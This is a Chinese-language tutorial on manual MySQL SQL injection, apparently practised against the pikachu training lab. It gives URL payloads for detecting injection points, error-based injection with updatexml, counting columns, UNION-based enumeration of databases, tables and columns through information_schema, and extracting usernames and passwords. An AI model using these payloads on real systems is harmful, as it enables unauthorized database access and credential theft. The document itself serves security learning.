MySQL相关的语句
database() 查看当前数据库
user()查看当前用户
version() 查看数据库版本
information_schema 数据库
schemata 表它是储存数据库名称的表
tables 表是用于储存所有表名的
columns 表是储存字段名称的
group_concat() 拼接函数
sleep()睡眠
判断是否存在注入点
判断注入点是有很多的方法,常见的 and -1=-1 还有其它的类型比如,堆叠注入、盲注的布尔型注入,时间型注入,还有报错注入以及闭合的一些符合,’(单引号),” (双引号)括号、百分号等一些闭合符合,还有就是注释符号,-- 或者 # 我局几个例子: 注释:双杠后面需要空格 防止注入失败,双杠注释不起作用就用 #
最常见使用的注入点判断语句
?id=1' and -1=-1
报错注入点
?id=1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
我就举例两个,判断注入点方法是很多的,比如过waf等就需要一些转义等,手工注入就是一个个的去验证了
判断有多少个字段数
order by 它是一个排序语句,原理大致就是如果一个表里有三列数据,分别是 id ,user, pwd 这三个字段,那么 order by 1 它会按照 id 那一列字段排序,order by 2 就是按照 user 字段排序,依次类推当出现 order by 4 的时候由于表中没有第四列字段,就回报错那么我们就知道了这个表有三个字段数了,这一步就为了显示错位,也就是为了把我们SQL语句结果展示的地方
?id=1' order by 6
展示显错位
上一步判断字段数时知道了多少列也就是字段数量,那么就展示错位为了下一步注入语句结果的展示 语句中的 11,22,33……是根据判断的字段数来的而且 id 或其它参数是查询不到结果的才能展示错位
?id=-1' union select 11,22,33,44,55
注意:显错位不全或者多了,都会导致没有结果
查询当前数据库
用显示错位的命令,可以看到页面上看到你 11,22,33等数字,在页面显示的数字写入SQL语句来注入 version()查看数据库版本 ,database()查看当前数据库
?id=-1' union select version() ,database(),33,44,55
查询所有数据库: 如果表多页面展示不全,可以使用 LIMIT 一页页展示
?id=-1' union select table_schema,22 from information_schema.tables
或者:
?id=-1' union select schema_name,22 from information_schema.schemata
table_schema 字段是information_schema 数据库的tables 表中记录数据库的 字段 schema_name 字段是information_schema 数据库的schemata 表中记录数据库的 字段
查询出数据库中的所有表
如果表多页面展示不全,可以使用 LIMIT 一页页展示,也可以使用group_concat() 拼接函数将显示的字段名包起来展示 查询当前数据库的所有表:
?id=-1' union select table_name,22,33 from information_schema.tables where table_schema=database()
table_name 字段是information_schema 数据库的tables 表中记录数据库表的 字段 大致格式样例:?id=-1’ union select table_name,22,33 from information_schema.tables where table_schema=‘数据库名称’ – bbq
查询指定的表中的列名
查询出表名下一步就是,查询字段也就是列名称
查询指定数据库表的所有字段:
?id=-1' union select column_name,22,33 from information_schema.columns where table_schema='pikachu' and table_name='users'
column_name 字段是information_schema 数据库的columns 表中记录所有表字段的 字段 table_schema 和 table_name 字段在information_schema 数据库的columns 表中记录的和tables 表中一样 大致模板:?id=-1’ union select column_name,22,33 from information_schema.columns where table_schema=‘数据库名’ and table_name=‘表名’ – bbq
查询数据
当经过以上步骤,已经知道了数据库名、表名、字段名,那么就可以查询我们需要的数据了 例如:表名是 users 需要的数据字段分别是 username,password
?id=-1' union select username,password,33 from users
手工步骤就这样,根据项目情况自己要改变注入方法以及学习其它方法注入
|